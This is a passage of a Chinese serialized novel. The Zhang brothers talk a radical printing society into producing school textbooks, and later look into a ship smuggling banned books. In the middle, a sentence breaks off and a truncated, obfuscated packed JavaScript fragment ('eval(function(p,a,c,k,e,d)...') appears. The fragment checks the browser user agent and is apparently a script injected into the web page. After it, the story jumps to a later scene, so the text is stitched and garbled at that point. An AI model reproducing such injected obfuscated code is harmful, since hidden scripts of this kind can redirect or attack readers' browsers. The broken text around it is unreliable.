腊月初七,变故发生了。 那日傍晚,张静轩从学堂回家,路过镇公所时,看见仓库门口停着一辆马车。赵明德正指挥着几个人往车上搬箱子——正是那天从码头接来的木箱。 他悄悄躲到巷口观察。箱子一共五个,都不大,但看起来很沉。搬箱子的人很小心,生怕磕碰。马车装好后,赵明德四下看了看,跳上车,往镇西方向去了。 镇西?砖窑? 张静轩立刻转身,抄近路往家跑。他要告诉大哥。 到家时,张静远正在收拾弓箭。“大哥,赵明德把箱子运走了,往镇西方向。”张静轩气喘吁吁地说。 张静远眼神一凝:“果然。”他背上弓,“我去看看。你在家等着。” “我跟你去。” “不行,太危险。”张静远按住弟弟的肩膀,“如果真有秘密团体,他们可能带武器。你留在家,万一我回不来,还有你守着学堂。” 这话说得很重。张静轩想争辩,但看到大哥的眼神,知道争也没用。他只能点头:“那你小心。” 张静远披上深色外衣,拄着拐杖出门了。他的背影在暮色里,像一柄即将出鞘的刀。 张静轩在书房里坐立难安。时间一分一秒地过去,天色完全黑透,大哥还没回来。福伯来催了几次吃饭,他都说不饿。 直到戌时末,门外终于传来脚步声。张静轩冲出去,看见大哥推门进来,身上沾着泥土,但神色平静。 “怎么样?” “箱子运到砖窑了。”张静远坐下,喝了口水,“我躲在窑顶看的,他们打开了地下仓库。” “真是印刷设备?” “是。”张静远点头,“铅字、油墨、简易印刷机,都有了。还有……一些没印的书稿。” 他从怀里掏出几页纸,递给张静轩。那是手稿,字迹潦草,但内容触目惊心——不只是《新潮》里的文章,还有更激进的东西,直接抨击时政,呼吁“彻底变革”。 “青云会,看来不是普通的读书会。”张静远沉声道,“他们想做的,比我们想的更大。” 张静轩翻看着手稿,越看心越沉。这些言论,若真散播出去,青石镇必将引来大祸。 “那明晚的会议……” “我听见他们说了,明晚子时,在砖窑地下仓库开会。”张静远说,“赵明德会参加,还有……那个左眉有痣的中年人,是他们的头儿。” “咱们怎么办?报官?” 张静远沉默。良久,他缓缓道:“报官,这些人都会被抓,可能掉脑袋。可他们……不一定是坏人。” “但他们做的事……” “我知道。”张静远打断他,“所以我在想,有没有第三条路。” 他站起身,放下来拿拐杖的手,选择慢慢的在屋里踱步着:“这些人的初衷,或许也是救国。只是方式错了。如果能让他们明白,在青石镇,有另一种方式——办学堂,启民智,一点一点地改变……也许,他们愿意换条路走。” 张静轩明白了大哥的意思:“你想……劝他们?” “对。”张静远停下脚步,“明晚,我去会会他们。” “太危险了!”张静轩脱口而出,“他们若真是激进团体,不会听劝的。” “危险也得去。”张静远说,“如果让他们在青石镇闹出事,整个镇子都会受牵连。学堂,孩子们,街坊们……都会遭殃。” 他看着弟弟:“静轩,有些事,总得有人做。我在前线打仗是这样,现在也是这样。” 张静轩无话可说。他知道大哥说得对。有些担子,一旦扛上,就不能轻易放下。 “那我跟你去。” “不行。” “我可以在外围接应。”张静轩坚持,“而且,如果他们真是读书人,我去,或许更好说话——我也是学生,也在办学,他们的理想,我能懂一些。” 张静远看着弟弟坚定的眼神,最终叹了口气:“好。但你得答应我,只在窑外等着,一旦有变,立刻走。” “我答应。” 兄弟俩计划到深夜。福伯知道了,也要跟去,被张静远严词拒绝:“福伯,您在家守着。万一我们回不来,您得照顾爹娘,还有学堂。” 福伯老泪纵横,但终究点了头。 那一夜,张静轩躺在床上,辗转难眠。窗外月色清冷,照着这个不平静的冬夜。他想起很多事——学堂里孩子们的读书声,街坊们凑钱时粗糙的手,苏宛音在黑板上写字的背影,大哥在塔上说的那些话。 还有那些书,那些批注,那些呼唤变革的声音。 这世道,到底该往哪儿走?他不知道。 但他知道,明晚之后,青石镇的命运,或许会改变。 25. 第二十六章 砖窑夜会 腊月初八,夜。 月亮被浓云遮蔽,青石镇笼罩在一片沉黑里。风从青云河上刮来,带着刺骨的寒意,吹得砖窑四周的枯草簌簌作响。 张静轩跟在张静远身后,两人都穿着深色棉袍,踩着荒草间隐约的小径,往砖窑深处走去。张静远拄着拐杖,但脚步很稳,显然早已熟悉了这路径。张静轩提着一盏蒙了黑布的灯笼,微弱的光只能照见脚下三尺。 “记住,”张静远压低声音,“无论发生什么,保命第一。一旦我示意,你就往东边跑,那里有个废井,能藏身。” 张静轩点头,手心全是汗。他怀里揣着那本《新潮》,还有几页从手稿上撕下的纸——那是他们准备的说辞。大哥的意思是,先讲理,再谈条件。如果对方真是为了救国,或许能听懂。 砖窑的轮廓在夜色里像巨大的坟冢。第三座窑的入口处,隐约有微光透出——地下仓库的入口就在窑内。张静远停下脚步,侧耳听了听。里头有说话声,很低,但能听出不止一个人。 “到了。”他深吸一口气,推开虚掩的窑门。 窑内比想象中宽敞。废弃的砖窑内部呈穹顶状,墙壁被烟熏得漆黑。正中摆着一张破木桌,桌上点着两盏油灯。围着桌子坐了五个人——赵明德坐在下首,神色紧张;一个左眉有痣的中年人坐在主位,面容沉静;另外三个都是年轻人,穿着半旧的学生装,眼神里透着警惕。 见有人进来,所有人都站起身。那三个年轻人手摸向腰间——那里鼓囊囊的,显然是武器。 “别紧张。”张静远开口,声音平静,“我是张静远,青石镇人。这位是我弟弟,张静轩。” 左眉有痣的中年人打量着他们,目光在张静远腿上的伤和手里的拐杖上停留片刻:“张静远……前线回来的?” “是。” “听说过。”中年人点点头,“在徐州打过阻击战,负了伤。是个汉子。” 他挥手示意那三个年轻人退后,自己拉开两把椅子:“坐。深夜来访,有何贵干?” 张静远不客气地坐下。张静轩挨着他坐,把灯笼放在脚边。油灯的光在众人脸上跳动,映出一张张神色各异的脸。 “先问个问题,”张静远直视中年人,“诸位深夜在此,所为何事?” 中年人笑了,那笑容里有种读书人特有的矜持:“读书人聚会,谈文论道,不可以吗?” “谈文论道,需要印刷设备?”张静远指了指窑角——那里堆着打开的箱子,铅字、油墨、印刷机零件散落一地,“还需要武装护卫?” 气氛骤然紧张。那三个年轻人又把手按在腰间。赵明德脸色煞白,想说什么,被中年人一个眼神制止了。 “张先生好眼力。”中年人收起笑容,“既然看出来了,我也不瞒着。我们是‘青云会’,一群想为国家做点事的人。” “做什么事?”张静轩忍不住问。 中年人看了他一眼,眼神温和了些:“小兄弟,你也在办学堂,应该明白——这世道病了,得治。我们想做的,就是开药方。” “什么样的药方?”张静远追问。 “唤醒民众的药方。”中年人从桌上拿起一沓稿纸,“这些文章,讲的是劳工的权益,妇女的解放,科学的重要。我们印出来,散出去,让更多人看到、想到、觉醒过来。” 张静轩看着他手中的稿纸。那些字句,他在《新潮》里读过,热血,激昂,像火。 “然后呢?”张静远问,“民众觉醒了,然后呢?” “然后……”中年人顿了顿,“然后他们就会要求改变,要求一个更公平的世道。” “怎么改变?”张静远的声音依然平静,“靠几篇文章,就能改变?” “文章是火种。”中年人眼中有了光,“火种多了,就能燎原。” 张静远摇头:“火种若落在干柴上,确实能燎原。但若落在湿柴上,只会冒烟,呛人,最后熄灭。”他顿了顿,“青石镇现在的民众,不是干柴。他们刚有口饭吃,孩子刚能上学,你让他们去‘燎原’,他们敢吗?愿意吗?” 这话说得很直接。中年人沉默了。那三个年轻人中,一个戴眼镜的忍不住开口:“难道就因为不敢,就不做了?总要有人先站出来!” “站出来,然后呢?”张静远看向他,“被官府抓,被镇压,然后青石镇多几个寡妇,多几个孤儿?这就是你们要的改变?” 眼镜青年噎住了。另一个方脸青年拍案而起:“那按你说,该怎么办?坐着等?等这世道自己变好?” “不是等,是做。”张静远从张静轩手里拿过那本《新潮》,放在桌上,“但做法不一样。你们在印书,我们在办学。你们想唤醒所有人,我们想先教会孩子。你们要的是烈火燎原,我们要的是细水长流。” 他翻开书,指着那些批注:“这些道理,都对。劳工该被尊重,妇女该有权利,科学该被重视。但怎么实现?靠喊口号?还是靠一点一滴地做?” 中年人拿起书,翻看着。油灯的光照在他脸上,那张原本坚定的脸,此刻有了些许动摇。 “张先生,”他缓缓开口,“你说得有理。但时间不等人。外有强敌,内有腐弊,再慢慢来,来得及吗?” “前线打仗时,我见过太多急功近利的事。”张静远说,“为了夺一个阵地,不顾伤亡强攻,最后阵地拿下了,人也打光了。有什么用?真正的胜利,不是一时一地之得失,是持久地、扎实地,一步步推进。” 他顿了顿,声音更沉:“救国也是。不能只图快,要图实。青石镇这所学堂,现在有二十八个孩子。二十八个,不多。但他们学会了识字,学会了算账,学会了写信。将来,他们或许能让家里过得更好,或许能教自己的孩子读书。一代一代,慢慢改变。这才是扎得住的根。” 窑内一片寂静。只有油灯燃烧的噼啪声,和窑外呼啸的风声。 中年人久久不语。他摩挲着那本《新潮》,眼神复杂。许久,他抬起头:“张先生,你们办学堂,遇到不少阻挠吧?” “是。”张静远点头,“泼粪的,扔石头的,卡拨款的,都有。” “那为什么还要坚持?” “因为值得。”张静轩忽然开口。所有人的目光都转向他。这个一直沉默的少年,此刻眼神清亮:“学堂里的孩子,水生的爹是船工,小莲的爹在省城做工,铁蛋的爹是铁匠……他们来上学,不是想当官发财,是想识几个字,明几个理,将来活得有尊严。就为这个,就值得。” 他顿了顿,声音有些发颤:“我大哥在前线打仗,也是为了这个——让像青石镇这样的地方,能安安稳稳地过日子,让孩子能安安稳稳地读书。” 这番话说完,窑内更静了。那三个年轻人相互看看,眼神里的敌意淡了些。赵明德低着头,不知在想什么。 中年人长长吐出一口气。他站起身,在窑内踱步。昏黄的光把他的影子投在漆黑的墙壁上,拉得很长。 “张先生,张小弟,”他终于开口,“你们说的,我都听进去了。说实话,我们来青石镇,不是偶然。听说这里有人办学堂,有新气象,我们想看看,能不能在这里……播点火种。” 他走回桌边,坐下:“但现在看来,你们播的,是另一种火种——更温和,更扎实,但也更难。” “难,但值得。”张静远说。 中年人点头。他看向那三个年轻人:“你们觉得呢?” 眼镜青年推了推眼镜:“老师,我觉得……他们说得有道理。咱们印的那些东西,在省城或许有人看,但在青石镇这样的地方,老百姓看不懂,也不敢看。” 方脸青年也点头:“而且……真要闹起来,最先遭殃的是老百姓。咱们不能为了理想,让他们担风险。” 第三个一直沉默的圆脸青年开口:“那咱们……不干了?” “不是不干。”中年人摇头,“是换个方式干。”他看向张静远,“张先生,如果我们愿意把印刷设备留下,帮你们印教材,印识字课本,印那些实实在在能帮到孩子的东西……你们愿意合作吗?” 这话出乎所有人意料。张静远和张静轩对视一眼,都从对方眼中看到了惊讶。 “为什么?”张静远问。 “因为你们在做实事。”中年人笑了,那笑容里有了释然,“这些年,我见过太多人空谈理想,却不肯弯腰做小事。你们不一样——学堂办了,孩子教了,街坊的心聚了。这才是真正的根基。” 他顿了顿:“救国不是一朝一夕的事。或许,从教一个孩子识字开始,比印一百本激进的册子,更有用。” 张静轩感到眼眶发热。他没想到,这场原本可能剑拔弩张的会面,会以这样的方式收场。 “那你们的组织……”张静远问。 “青云会不会散。”中年人摇头,“但我们会调整方向。以后,不只印激进的文字,也印有用的知识。不只在大城市活动,也到乡下看看,看看真正的中华民国是什么样。” 他看向那三个年轻人:“你们愿意吗?” 三人对视,最终齐齐点头。 事情就这样定了。青云会留下印刷设备,帮学堂印制教材;作为交换,学堂允许他们定期聚会,但必须保证不在青石镇煽动激进活动。赵明德被要求退出——这个见风使舵的小吏,不适合参与这样的事。 “赵干事,”张静远看向一直缩在角落的赵明德,“今天的事,你就当没看见。印刷设备我们会处理,你该干什么还干什么。但记住——若再动歪心思,新账旧账一起算。” 赵明德连连点头,冷汗直流。 离开砖窑时,已是子夜。云散了,月亮露出来,清清冷冷地照着荒凉的窑场。张静轩提着灯笼,跟在张静远身后。风依然冷,但心里却暖烘烘的。 “大哥,”他轻声说,“真没想到……” “没想到他们会转变?”张静远笑了,“其实,真正想做实事的人,都愿意听道理。他们只是之前没找到对的路。” “那以后……咱们真和他们合作?” “为什么不?”张静远停下脚步,看着弟弟,“多一个朋友,总比多一个敌人好。而且,他们有印刷设备,有热情,只是缺方向。咱们给他们方向,他们给咱们助力,双赢。” 张静轩点头。他看着大哥在月光下的侧脸,忽然觉得,这个从战场归来的兄长,比他想象中更有智慧——不是兵法的智慧,是处世的智慧,是看人的智慧。 “对了,”张静远想起什么,“那个中年人,叫陈启明。他留了个地址,说如果需要帮忙,可以找他。” 陈启明。张静轩记下了这个名字。 回到家,福伯还在等。见两人平安归来,老人家松了口气,忙去热姜汤。张静轩喝着热腾腾的姜汤,感觉冻僵的身子慢慢暖和过来。 “福伯,”张静远说,“明天一早,您去找几个可靠的伙计,把砖窑里的印刷设备搬出来。找个安全的地方——就……就放在学堂的后厢房吧。那里平时没人去。” 福伯一愣:“放在学堂?会不会……” “最危险的地方,就是最安全的地方。”张静远说,“而且,放在学堂,用起来方便。以后印教材,孩子们也能看到——让他们知道,知识是怎么来的。” 张静轩眼睛一亮。这个主意好。让印刷设备放在学堂,既是实用,也是象征——知识的生产,就该在传播知识的地方。 那一夜,张静轩睡得很沉。梦里,他看见印刷机在学堂里转动,一张张印着字的纸飞出来,落在孩子们手里。孩子们捧着纸,大声朗读,声音清亮,穿过青石镇的街巷,传得很远很远。 腊月初九,清晨。 张静轩醒来时,天已大亮。阳光很好,照在窗棂上,投下斑驳的光影。他推开窗,看见福伯正指挥着几个伙计往马车上搬东西——用油布包得严严实实的,是那些印刷设备。 街坊们好奇地看着,但没人多问。在青石镇,张家办事,总有道理。 张静轩洗漱完,去书房找大哥。张静远正在写信,见弟弟进来,放下笔:“醒了?正好,有件事要你去办。” “什么事?” “去学堂,告诉苏先生和程先生印刷设备的事。”张静远说,“也问问他们,有什么教材需要印。第一批,我想印识字课本和算术口诀——要印得清楚,印得结实,能反复用。” 张静轩点头。他想了想,又问:“那青云会那些人……” “陈启明今天会来。”张静远说,“他说要看看学堂,也见见两位先生。你准备一下,中午在家里吃顿饭。” 这又是意外之喜。张静轩忙应下,匆匆往学堂去。 清晨的学堂,正是一天中最有生机的时候。孩子们陆续到了,在院子里晨读。苏宛音在擦黑板,程秋实在批 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是青石镇给了我启发。”陈启明举杯,“这一杯,敬学堂,敬孩子,敬这实实在在的希望。” 饭后,陈启明去看印刷设备。设备已经安置在学堂后厢房,虽然简陋,但齐全。他熟练地检查了一遍,点点头:“能用。铅字不全,但常用的都有。油墨不够,我让省城的同志寄些来。” “同志?”张静轩好奇。 陈启明笑了:“志同道合的人,就是同志。”他顿了顿,“以后,青石镇需要什么教材,尽管说。我们印,免费。” 这话掷地有声。张静远拱手:“那先谢过了。” “该我谢你们。”陈启明看着窗外的学堂院子,那里,孩子们正在午休,嬉笑声阵阵,“你们让我看到了,救国还有另一条路——更慢,但更稳的路。” 事情就这样定了下来。青云会与青石镇学堂的合作,悄无声息地开始。印刷机在深夜转动,印出的第一本教材,是苏宛音的《女子识字课本》。封面上,印着一行小字:“青石镇新式学堂印制”。 腊月十五,第一批教材发到孩子们手中。小莲捧着那本专为女子编的课本,眼睛亮得像星星。她翻到第一课,轻声念:“女,女子。手,巧手。识字明理,持家有方。” 水生拿到的是《实用算术》,翻开就是码头计工的例题。他兴奋地说:“这个好!俺爹就能用上!” 铁蛋的则是《工匠入门》,讲的是铁匠、木匠的基本知识。他摸着封面上的工具图案,咧嘴笑了。 看着孩子们如获至宝的神情,张静轩觉得,这一个月的奔波、担忧、冒险,都值了。 腊月二十,年关近了。青石镇开始准备年货,空气中飘着腊肉和糕点的香气。学堂放了年假,但印刷机没停——陈启明带着那三个年轻人,又印了一批《新春识字画》,上面有年画,有吉祥话,还有简单的识字内容。准备过年时,免费发给镇上的百姓。 张静轩帮忙装订。油墨的味道混着纸张的清香,让他感到一种实实在在的充实。陈启明一边操作印刷机,一边说:“静轩,你知道印刷术最早是干什么用的吗?” “印佛经?” “对。”陈启明点头,“传播信仰。现在,咱们印的也是‘信仰’——信知识能改变命运,信努力能有出路,信这世道会慢慢变好。” 他拍了拍印刷机:“这台机器,以前印的是口号。现在,印的是希望。一样是印刷,但印的东西不一样,意义就不一样。” 张静轩重重点头。他明白了——工具没有善恶,看人怎么用。刀能杀人,也能切菜;印刷机能印激进传单,也能印识字课本。 关键在人心。 腊月二十三,小年。青石镇下了入冬以来第一场雪。雪花纷纷扬扬,把青石镇的屋瓦染成一片洁白。学堂的院子里,孩子们在打雪仗,笑声在雪中传得很远。 张静轩站在廊下看着。苏宛音走过来,递给他一杯热茶:“想什么呢?” “想这一年。”张静轩接过茶,暖着手,“发生了太多事。” “是啊。”苏宛音也看着雪中嬉戏的孩子们,“但好在,学堂还在,孩子还在,希望还在。” 两人沉默了一会儿。雪越下越大,天地间白茫茫一片,纯净得像张崭新的纸。 “苏先生,”张静轩忽然问,“您说,明年会更好吗?” 苏宛音笑了,那笑容在雪光里格外温暖:“只要咱们还在做该做的事,就会。” 她顿了顿:“就像这雪,看着冷,但底下,种子在睡,在等春天。等到开春,雪化了,种子就会发芽,长大。” 张静轩点头。他看着学堂的屋檐——那里,挂着一排冰凌,晶莹剔透,在雪光里闪着微光。 他深吸一口气,冷冽的空气灌入肺腑,清醒而坚定。 明年,还有很多事要做。 学堂要办得更好,教材要印得更多,孩子们要教得更扎实。 还有——大哥的腿要养好,爹娘的身体要顾好,街坊们的日子要过好。 一件一件,慢慢来。 就像这雪,一片一片,积起来,就能覆盖山河。 然后,等春天来。 雪还在下。 青石镇静默在雪中,像一幅淡墨画。 画里,有屋舍,有街巷,有学堂,有老槐树。 还有,无数个等待春天的人。 26. 第二十七章 雪中痕 腊月二十四,雪停了。 青石镇裹在一层素白里,屋瓦、街巷、老槐树的枝桠,都覆着厚厚的雪。晨光熹微时,镇上已有了人声——扫雪声、开门声、孩童的嬉闹声,混成一片生机勃勃的喧响。 张静轩起得早,披了棉袍站在院中。雪后的空气清冽如刀,吸一口,凉意直透肺腑。他看见福伯正带着两个伙计清扫门前的雪,铁锨铲在青石板上,发出嚓嚓的脆响。 “小少爷早。”福伯直起身,呵出一团白气,“今儿雪厚,去学堂得绕道了——河堤那段路,怕是不好走。” 张静轩点头:“我走镇里主街。” 正说着,张静远拄着拐杖从屋里出来。他的腿伤好了些,已能不用搀扶慢慢行走,但伤处仍裹着厚厚的棉布。见弟弟在院中,他笑了笑:“起得倒早。” “大哥,今日感觉如何?” “好多了。”张静远试着走了几步,“再过半月,该能扔了这拐杖。”他望向学堂方向,“今日还去?” “去。”张静轩说,“虽说放了年假,但苏先生和程先生还在备课,陈先生他们也在印教材。我去看看,能帮上什么忙。” 张静远沉吟片刻:“也好。不过……”他顿了顿,“昨日周大栓来说,码头又来了条船,看着眼生。” 张静轩心头一紧:“又是那条舢板?” “不是。”张静远摇头,“是条货船,不大,但装得满。船上的人说话带北方口音,卸的货……是年货。” “年货?” “对。红枣、核桃、柿饼,还有……鞭炮。”张静远眼神微凝,“但这个时节,北边来的货船,不该有这么齐全的年货。而且,那船吃水太深——装的不止这些。” 张静轩明白了大哥的言外之意:“您怀疑……” “说不好。”张静远望向码头方向,“也许真是年货,也许……夹带了别的。周大栓想凑近看,被船上的人拦住了,态度很硬。” 这事透着蹊跷。腊月里来货船卖年货,本不稀奇,但北方来的船,又在这个敏感的时候…… “我去码头看看。”张静轩道。 “别。”张静远拦住他,“你照常去学堂。码头那边,我让李铁匠去探探——他徒弟里有个是那船夫的外甥,能说上话。” 安排妥当,兄弟俩各自行动。张静轩穿上厚棉袍,戴上福伯备好的皮帽,踏着积雪往学堂去。主街上的雪已被清扫出条小道,两旁的店铺早早开了门,挂出红灯笼、春联、年画,年味渐浓。 路过陈老秀才家时,老人正站在门口指挥伙计贴春联。看见张静轩,他招招手:“静轩,来,看看这对联如何?” 张静轩走过去。红纸上写着两行苍劲的颜体:“雪润青石启新岁,书香门第继古风。” “好字。”张静轩赞道,“陈老先生笔力不减。” 陈老秀才捋须笑了:“老了,手抖了。”他顿了顿,压低声音,“静轩,昨儿镇公所那边,有点动静。” “什么动静?” “赵明德……往省城发了封电报。”陈老秀才说,“我有个远房侄子在电报局当差,他偷偷告诉我的。电报内容不知道,但收报人是……省教育厅。” 张静轩心头一沉。赵明德果然不死心。 “还有,”陈老秀才声音更低了,“发完电报,赵明德去了趟‘悦来茶馆’,见了个人——不是咱们镇上的,看着像省城来的。” “长什么样?” “四十来岁,戴金丝眼镜,穿灰色中山装,手里总拿着个皮包。”陈老秀才回忆道,“两人在二楼包间待了半个时辰,出来时,赵明德满脸堆笑,那人脸色却不好看。” 这描述……张静轩忽然想起一个人——王秉章。省教育厅那个被撤职查办的王督学。难道他又回来了?或者,是他那一系的人? “陈老先生,谢了。”张静轩郑重道谢,“这事,您先别声张。” “我晓得。”陈老秀才点头,“静轩,你们千万小心。有些人啊,见不得别人好。” 辞别陈老秀才,张静轩加快脚步往学堂去。雪后的祠堂显得格外肃穆,青灰的屋瓦上积着雪,檐下的冰凌长长短短,像一排晶莹的帘。院里那棵老槐树,枝桠托着厚厚的雪,偶尔有雪块落下,噗的一声,在雪地上砸出个浅坑。 学堂里果然有人。苏宛音和程秋实正在正堂备课,炭火盆烧得旺,满室暖意。见张静轩来,两人都抬头笑了。 “静轩来了。”程秋实推了推眼镜,“正好,你看看这个——”他递过几页纸,“陈先生他们新印的《新春识字画》样稿。” 张静轩接过。纸上印着传统的年画图案——胖娃娃抱鲤鱼,梅花喜鹊,五谷丰登。但每幅画旁边,都配了简单的文字:“鱼,有余”“梅,花开”“谷,丰收”。图文并茂,既喜庆,又能识字。 “这个好。”张静轩眼睛一亮,“过年时发给街坊,大人孩子都能看。” “陈先生的主意。”苏宛音说,“他说,年画家家都要贴,不如做成能识字的,一举两得。”她顿了顿,“他还说,想印一批送给周边村镇的学堂——算是青云会转型后的第一份‘礼物’。” 这想法很大气。张静轩点头:“那需要多少?钱够吗?” “陈先生说,印刷成本他们出。”程秋实道,“纸和油墨,他们从省城调。咱们只需要帮忙分装、分发。” 正说着,后厢房传来印刷机的转动声——咔嗒,咔嗒,规律而有力。张静轩走过去,看见陈启明正带着那个眼镜青年操作机器。油墨的味道弥漫在空气中,混合着纸张的清香。 “静轩来了。”陈启明抬起头,额上有细汗,“来看看,这批《新春识字画》印得如何。” 张静轩拿起一张刚印好的。墨色均匀,字迹清晰,年画的色彩鲜艳饱满。“很好。”他由衷赞道,“比市面上卖的年画,不差。” 陈启明笑了:“印刷技术,我还是有些心得的。”他关掉机器,用棉纱擦了擦手,“对了,静轩,有件事要跟你说。” 两人走到窗边。窗外是学堂的后院,雪地里一串脚印蜿蜒通向墙角——是早晨来上工的伙计留下的。 “昨日,我在镇上看见个人。”陈启明压低声音,“在‘悦来茶馆’二楼,和赵明德一起。” “戴金丝眼镜,穿灰色中山装?” “你见过?”陈启明一愣。 “听陈老秀才说的。”张静轩把早晨的事说了。 陈启明眉头紧皱:“那人我认识——叫孙维民,是王秉章的秘书。王秉章倒台后,他调到了省教育学会,名义上是干事,实际上……还在活动。” “活动什么?” “不好说。”陈启明摇头,“但这个人,心思很深。早年我在省城办印刷社时,跟他打过交道——表面谦和,实则手段狠辣。他若来了青石镇,肯定没好事。” 张静轩心往下沉。一波未平,一波又起。 “还有,”陈启明声音更低了,“我的人从省城传来消息,说孙维民这趟出来,不只是‘考察’那么简单。他好像在查什么东西——查各地学堂的‘背景’,尤其是……有没有‘异端思想’渗透。” 异端思想。这四个字像针,扎在张静轩心上。青云会的印刷设备就在学堂里,虽然现在印的是教材和年画,但若被翻出之前那些激进材料…… “陈先生,那些旧稿……” “烧了。”陈启明果断道,“那晚从砖窑回来,我就让小王他们把手稿全烧了,灰都倒进了青云河。”他顿了顿,“印刷机也彻底清理过,铅字里那些敏感的字眼,都剔除了。” 张静轩松了口气。但随即又想到——孙维民若真要查,不会只查实物,还会查人。陈启明和他的三个年轻人,本身就是“异端”。 “那您和几位兄弟……” “我们暂时不走。”陈启明说,“这个时候走,反而惹人怀疑。况且,”他笑了笑,“我们现在是‘教材印刷合作方’,合理合法。” 话虽如此,但张静轩总觉得不安。他想起大哥说的那条货船,想起赵明德的电报,想起孙维民的神秘到访……这些碎片,在脑海里拼凑不出完整的图案,却隐约指向某个他不愿面对的危机。 中午时分,李铁匠来了。这位铁匠师傅裹着件油腻的皮袄,脸上沾着煤灰,显然刚从铺子里来。见到张静轩,他直截了当:“那条船,有问题。” “怎么说?” “我让徒弟去套近乎,假装买年货。”李铁匠压低声音,“船上的人很警惕,不让进舱。但我徒弟眼尖,看见舱里堆的货——外头是年货,里头……是木箱,用油布裹着,看不清是什么。” “木箱多大?” “这么长,这么宽。”李铁匠比划着,“像装枪的箱子,但没那么规整。” 枪?张静轩心头一跳。但随即又否定——若是枪,不至于这么明目张胆地运。而且,青石镇这样的地方,要枪做什么? “还有,”李铁匠继续道,“船上的人,虽然穿着便服,但站姿、说话,都像……当兵的。” 当兵的?张静轩猛地想到大哥——张静远说过,有些部队会私下运些“外快”,倒卖物资。难道这条船是…… “这事先别声张。”他对李铁匠说,“李叔,麻烦您继续盯着,但千万小心,别让他们察觉。” “晓得。”李铁匠点头,转身要走,又停住,“对了,静轩,昨儿赵明德那小子,来我铺子里打了两把锁——特大号的,锁库房用的。我多问了一句,他说是镇公所仓库要换锁。可我今早路过仓库,锁好好的。” 这又是蹊跷。张静轩谢过李铁匠,心里那团疑云越积越厚。 下午,他去找大哥。张静远正在书房看地图——是青石镇及周边地形图,上面用红笔标着几个点:码头、砖窑、镇公所仓库、学堂。 听完张静轩的汇报,张静远沉默良久。他手指在地图上滑动,最终停在码头位置:“船是北方来的,带年货,但夹带别的东西;船上的人像当兵的;赵明德换了新锁,但仓库锁没坏;孙维民秘密到访,与赵明德密谈……” 他抬起头,眼中闪过一丝锐光:“这些事,可能有关联。” “什么关联?” “还不好说。”张静远沉吟,“但若把这些碎片拼起来——一条可能夹带私货的船,一个与省城官员密谈的镇干事,一个新来的、查‘异端思想’的省厅干事……” 他顿了顿,缓缓道:“也许,有人在利用青石镇,做一笔交易。” “交易什么?” “不知道。”张静远摇头,“但肯定不是好事。”他站起身,走到窗前,“静轩,这几日,学堂那边要格外小心。印刷设备的事,能瞒多久瞒多久。陈先生他们,尽量少露面。” 张静轩点头。他明白大哥的担忧——若孙维民真是来查“异端”的,那印刷设备、陈启明这些人,都是现成的把柄。 “那船……” “我去看看。”张静远道,“今晚,我让周大栓带我上船——以买年货的名义。” “太危险了!”张静轩脱口而出。 “危险也得去。”张静远拍拍弟弟的肩,“有些事,不亲眼看看,永远不知道真相。” 他说得平静,但张静轩听出了其中的决绝。这就是大哥——在战场上养成的习惯,明知山有虎,偏向虎山行。 傍晚,雪又飘了起来。细密的雪粒在暮色里纷飞,很快又给青石镇覆上一层新白。张静轩站在学堂门口,看着孩子们被家长接走。小莲裹着苏宛音给的旧围巾,小脸红扑扑的,挥手跟他说“静轩哥明天见”。 明天。张静轩望着小莲蹦跳远去的背影,心里默默祈祷——但愿明天,一切如常。 夜里,他躺在榻上,听着窗外雪落的声音。那声音很轻,沙沙的,像春蚕食叶,又像某种细密的低语。他想起白日里的事,想起那条神秘的船,想起孙维民那张模糊的脸,想起大哥今夜要上的船…… 翻来覆去,难以入眠。 约莫子时,院门轻轻响动。张静轩立刻起身,披衣推门。是大哥回来了,身上落满雪,但神色平静。 “怎么样?”张静轩急切地问。 张静远抖落身上的雪,走进书房。张静轩跟进去,掩上门。 “船上确有问题。”张静远压低声音,“我假装买红枣,上了船。舱里堆的年货只是幌子,里头真有木箱——我趁人不备,撬开一角看了。” “是什么?” “书。”张静远神色复杂,“但不是普通的书。是……禁书。前朝禁的,还有……洋人的书,讲什么‘主义’的。” 禁书?张静轩愣住了。他原以为是军火、烟土,或是别的什么违禁品,却没想到是书。 “而且,”张静远继续道,“那些书,不是新印的。纸张发黄,有的还有虫蛀。像是……从什么地方收集来的,要运到别处去。” “运去哪儿?” “不知道。”张静远摇头,“但船上的人说漏了嘴,提到‘南边有个大主顾’,‘出价很高’。” 私运禁书?张静轩觉得这事透着古怪。禁书固然敏感,但值得这么偷偷摸摸?还动用疑似军人的船夫? “还有更奇怪的。”张静远从怀里掏出一本小册子——只有巴掌大,纸张粗糙,显然是匆忙撕下的,“我从箱子里偷拿了一本。” 张静轩接过。册子封面上没有字,翻开,里面是手抄的文字。字迹潦草,但内容……他看了几行,心头大震。 “这……这是……” “嗯。”张静远点头,“是激进团体的内部材料,比青云会那些更甚。直接呼吁……暴力变革。” 张静轩感到脊背发凉。他终于明白为什么船上的人像军人——这些材料,若被查获,不是简单的禁书问题,是谋逆大罪。 “船主是谁?” “问了,不说。”张静远道,“但我看见船尾有个标记——像是个徽章,但被刮花了,看不清。” 他顿了顿:“静轩,这事比咱们想的复杂。私运禁书,而且是这种禁书,背后肯定不是简单的生意。可能牵扯到……某些势力。” “那咱们怎么办?” “先按兵不动。”张静远沉思,“船在码头只停三天,腊月二十六就走。咱们暗中盯着,看谁来接货,货往哪儿运。至于孙维民……”他眼神一冷,“他若真是为这事来的,那就不只是查‘异端思想’那么简单了。” 兄弟俩商议到深夜。最终决定:张静轩继续留意学堂和印刷设备的事,张静远则通过周大栓、李铁匠这些街坊,暗中监视码头和仓库。同时,让福伯去省城一趟——不是去找李教授,而是找沈特派员。如果这事真牵扯到某些势力,得让警方知道。 腊月二十五,雪霁天晴。 青石镇在阳光下熠熠生辉,积雪反射着刺眼的光。街上人更多了,置办年货的,走亲访友的,熙熙攘攘。那艘货船依然停在码头,船夫在甲板上晒太阳,看似悠闲,但眼神不时扫视四周。 张静轩照常去学堂。今日是年前最后一天课,下午就要正式放假。孩子们格外兴奋,课堂里叽叽喳喳,连最安静的小莲都忍不住和同桌说悄悄话。 